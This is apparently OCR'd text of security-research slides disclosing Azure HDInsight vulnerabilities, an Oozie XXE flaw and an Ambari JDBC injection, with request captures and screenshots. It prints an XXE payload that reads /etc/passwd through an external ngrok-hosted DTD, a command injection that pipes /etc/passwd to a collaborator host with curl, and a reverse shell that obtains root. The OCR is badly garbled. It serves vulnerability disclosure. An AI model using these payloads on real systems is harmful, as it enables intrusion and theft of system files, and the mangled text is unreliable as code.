<IENTITY % file SYSTEM rfile:///etc/passwd"ﬁ
<!ENTITY % ent "<!ENTI data "SYSTEM ':%file;
1 > " >

Target: https://research-insight.azure

[vag/www/html

ReqUies

Pretty Raw 2 B 0N =
WP rvedcarwii—a LA OEVICHVANIDAYNIL e 1T/ VAGWIZ IIVIVAT LUN_TIPSAULIVY As Ve U/ WUT AT LUWNICT VAL
e/

2 Accept-Encoding: gzip, deflate
Accept-Language: en-IL,en;q=0.9

{ Connection: close

6 <7xml version="1.0" 7>
<!DOCTYPE root [

<!ENTITY % ext SYSTEM "h’.tps://0198—35—‘30~190—9-1.r\qrok—froo.npp

fext;

&data;
</r>
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CVE-2023-36419 CVSS 8.8

Azure HDInsight Apache Oozie Workflow Scheduler XXE Elevation of Privileges Vulnerability

DTD file FTW

Connection: close
Content-Length: 20289

HTTP Requests

X-Xsrf-Header: 92393
Sec~Ch~-Ua-Mobile: 70
X-Requested-By: workflow-designer
User-Agent: Mozilla/5.9 (Macintosh; Intel L sgendinct 3 : iy : GET /evil.dtd 200 OK
Mac 05 X 10_15_7) AppleWebKit/537.36 LS il it shalt ol uipiiioned % GET /evil.dtd 200 OK
(KHTML, like Gecko) Chrome/115.0.0.9 ' y d -
Safari/537.36
Content-Typ text/plain;charset=UTF-8

! Accept: text/plain, =/+; q=0.01
X-Requested-wWith: XMLHttpRequest
Sec-Ch-Ua-Platform: “macOS"
Origin:
https://research-insight.azurehdinsight.net
Sec~-Fetch-Site: same-origin
Sec~Fetch-Mode: cors

) Sec~-Fetch-Dest: empty
Referer:
https://research-insight.azurehdinsight.net
/views /WORKFLOW_MANAGER/1.0.9/workflowservi
ce/
Accept-Encoding: gzip, deflate
Accept-Language: en-IL,en;q=0.9
Connection: close

"message™:

[

ml version="1
<!DOCTYPE root
NTITY % ext SYSTEM
//"!.)cil 35-90-190-94.ngrok~-free.app

Wdata;
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Setting up a low-privilege user

CVE-2023-38157 CVSS 7.2

Azure HDInsight Apache Ambari JDBC Injection Elevation of Privileges Vulnerability

Changing the User role to Cluster Operator

lowprivuser changed to Cluster

Users / lowprivuser Operator

Local

ryue

!
Status (I_ ] Active
#

Amban Admin

Password

Local Group

a== L admin ~
About
METRIC ACTIO Manage Ambari
Settings
Sign out
eNode CPU WIO DataModes Live

0.0% 1/

Membership

User Access @ Cluster Operator

Privileges
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CVE-2023-38157 CVSS 7.2

Azure HDInsight Apache Ambari JDBC Injection Elevation of Privileges Vulnerability

Apache Hive Dashboard Database Connection Test Panel

COMFIGS
—
Config Group
3
DATABASE ADVAMN

SUMMARY COMFIGS Database Configurations

Hive Database Type

Summary

DB Derver Clasa

Components © Started

Database Password
Diatadun g Blaemis
3 Installed

jdbc:hive2:/fzk0-resear.ggmzxfnb patshase Lssmams
resear.ggmzxfnbloaeImpolzssic
resear.qgmzxfnbloae3mpolzssic

-

Databage AL
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CVE-2023-38157 CVSS 7.2

Azure HDInsight Apache Ambari JDBC Injection Elevation of Privileges Vulnerability

Check host action request
Response

ch=hdifrequests HTTP/2 1 HTTP/2 2082 Accepted
ht.net F—tache—Controt—mo—s
ambari i Pragma: no-cache
Content-=Length: 788 | Content=- »: text/plain;charset=utf-8
Expires: Thu, 81 Jan 1970 @@:00:88 GMT
Request-Id: f93412b141944812a555b5¢C
Content-Type: application form-urlencoded; chars 1 T X-Ms-Hdi- i ’
ept: application/ijs ipt, s B.@ 1 X-Ms-Hdi-Http-Host:
X=Requested=With: XM ! b R - ¢ = i
Origin: https://re C di.az ht.net | i r r
Referer: https:/, sight.net/
=Protection: 1; mode=bloc
Options: nosniff
.r
ansport-5
] Set-Cookie: AMBAR
"paramete HttpOnly; path=f; secure; HttpOnly;
"db_name" : " 16 Date: Fri, 14 Jul 2823 12:23:81 GMT
17 Content-Length: 197

"threshol
"ambari_server_h
"chec
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CVE-2023-38157 CVSS 7.2

Azure HDInsight Apache Ambari JDBC Injection Elevation of Privileges Vulnerability

check host.js from Apache Github repo

28 [Preview] README md 15 check_hostjs M

ol ¥ P TN ETRBr haat > details » sctions B check_hostjs

b checkExecutelist

addHostsParameter

any GUES
getDataForCheckRe LOWing checkExecutelist, addHostsParaseter
newHosts = 1 getl ‘bootHosts " ). filterProperty( "bootStat
hasts = gt isAddHostWiz
hosts = hosts.jodn(",");
f (hosts.length == @) returr .
jak_location = App.router.get] "cl
Requestinfe = {

5", "REGISTERED").getEach('nase’);

ard') ¥ [].concat.spplyll], App.Masterfoaponent.find|).mapProperty| "hostMasses")).concat({newtosts).uniql] : newHosts;

1 "check_host™,

0

496 "check _execute 51" checkExecutelist,
jk_location™ @ jdk_location,

f (addHostsParameter)

RequestInfo.paraseters.hosts = hasts;
¥

resource_filters = {

51 hosts
|

RequestInfor RequestInfo,
resource_filters: resource_filters
}

H
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Azure HDInsight Apache Ambari JDBC Injection Elevation of Privileges Vulnerability

Injecting Malicious Payload /etc/passwd sent to the Collaborator

" " Tirme Payload Source IP addr
RequestInfo":{ 2023-Jul-14 12:28:56.642 UTC [715203)xrhive5s1c0301y TzySptmhb 40.78.224.91
"context":"Check host", 2023-Jul-14 12:28:56.843 UTC 75203jxrhivaSs1c0301y TzySptmhb 40.79.153,106

" L " . - 2023-Jul-14 12:28:56.697 UTC 5283 xrhivs5s1c0301yTzySptmhb 40.78.225.210
action":"check host
- ' Malicious Pa Y load 2023-Jul-14 12:28:56.829 UTC t5293jxrhivsSs1c0301yTzySptmhb 40.79.153.141
"parameters":{

2023-Jul-14 12:28:57.839 UTC ITt5283jorhive5s 10301y TzySptmhb 20T 62222
"db_name":"mssql", 2023-Jul-14 12:28:58.020 UTC I715283jxrhivs5s 160301y 7zySptmiib 20.172.162.222
"db_connection_url":

"jdbc:sqlserver://research-orca tabase.windows.net;database=resear Description  Request to Collaborator  Respaonse from Collaborator
encrypt=true;trustServerCertificate=true;create=false; loginTimeout=3 Raw  Hex

$(cat /etc/passwd | curl ——data-binary @ -m 5 http://17t5293jxrhivs POST / HTTP/1.1

CﬂE@ly?zr{Eplmflh.UﬂSlif‘f.CUITI | echo lj"‘ 2 Host: 17t5293jxrhivs5s1c@38ly7zySptmhb.castify.com

u [TIRL M 1 User-Agent: curl/7.58.0
user_name”: orca , ¢ Accept: /s

"user_passwd" : "' SEC R £ ionPasswor Content-Length: 3175

; i 6 Content-Type: application/x-www=form-urlencoded
n ",
]dk_locat ion Expect: 1@@-continue

"http://hnépeeeeseesenenisbasssammnnstaiaagmg . internal. cloudapp.n

) rootix:@:@:root:/root: /bin/bash
B daemon:x:1l:1:daemon: fusr/sbin: fusr/sbin/nologin
11 bin:x:2:2:bin:/bin: fusr/sbinsnologin
12 sys:x:3:3:5ys: /dev:fusr/sbin/nologin
syncix:4:65534:sync:/bin: /bin/false
4 man:x:6:12:man: fvar/cache/man: fusr/sbin/nologin
lpex:T: 7 lp:SvarSspool/ Lpd: fusr/sbin/nologin
mail:x:8:8:mail: varfmail: fusr/sbin/mologin
" news:x:9:9:news: /varsspool/news: fusr/sbin/nologin
B uuepix:1@:10:uucp: /var/spoolSuucp: fusr/sbin/nologin
| proxy:x:13:13:proxy:/bin: fusr/sbin/nologin
B www-data:x:33:33:www-data: fvar/wew: fusrSsbin/nologin
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Azure HDInsight Apache Ambari JDBC Injection Elevation of Privileges Vulnerability

Injecting Reverse Shell Payload Attacker is root on Cluster

"RequestInfo":{

/tmp

"context":"Check host", nvlp 16020

"action":"check_host", listening on [any] 16020 ...

"parameters":{ connect to [10.0.2.26] from (UNKNOWN) ~~°~ "~~~ -~ == =°° T 2048
"db_name":"mssql", bash: cannot set terminal process group (516): Inappropriate ioct
"db_connection_url": bash: no job control in this shell

= o fHo -
"jdbc: sqlserver //research -orca.database.windows.net;databa FERRECIL-FESREN /Tl el WHELE &
: login 1d && uname -a
’

uid=0(root) gid=8(root) groups=0(root)
Linux hnl-resear 5.4.0-1107-azure #113-~18.04.1-Ubuntu SMP Tue Apr
root@hnl-resear: /#

"user passwd""'mon Connecti ®] 0:sshx 1:zsh-

"jdk_location":

"http://hn0-resear saaaskssbasssassnnstatessisems te rnal. C
8080/resources",

"threshold":"60",
"ambari_server_host":"research-hdi.azurehdinsight.net",
"check_execute_list":"db_connection_check",
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Honorable Mentions

e Azure HDInsight 8 XSS Vulnerabilities - CVE-2023-35393, CVE-2023-38188,

CVE-2023-36877,
CVE-2023-36881, CVE-2023-35394

e Azure HDInsight Apache Oozie Regex Denial Of Service via vulnerable parameter
i Ay s if (actionSet.size() >= maxNumActionsForLog) { O ® - -
r . throw new CommandException(ErrorCode.E0302,
_l &, “"Retrieving log of too many coordinator actions. Max count

+ maxNumActionsForLog + " actions"

5 o Iterator<String> actionsiterator = actionSet.iterator();
Str ilder orSeparatedActions = new StringBuilder("");
b an orRequired = false;
hile (actionsiterator.hasNext
orRequired
U orSeparatedActions.append("|”); U
orSeparatedActions.append(actionsIterator.next().toString());
orRequired = true;
o | if (actionSet.size() > 1 && orRequired) {
. orSeparatedActions.insert(@, “(");
,::n orSeparatedActions.append(")");
] "l’l
e — - - -
&
f sta

start » Integer.parselntiramge b . trin
? ne) {
w CompndBacept lonlErrarCode, L0302, . rangelel tein

end = Integer,parselntirange 1] trin
. w) {
v CommandExceptionlErrorCede. E0302, g "
)
(star e
pamandaception| LrrorCode, (0302 s
L = stary; ens {
actlonSet, 002! Jobld +
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Thank You
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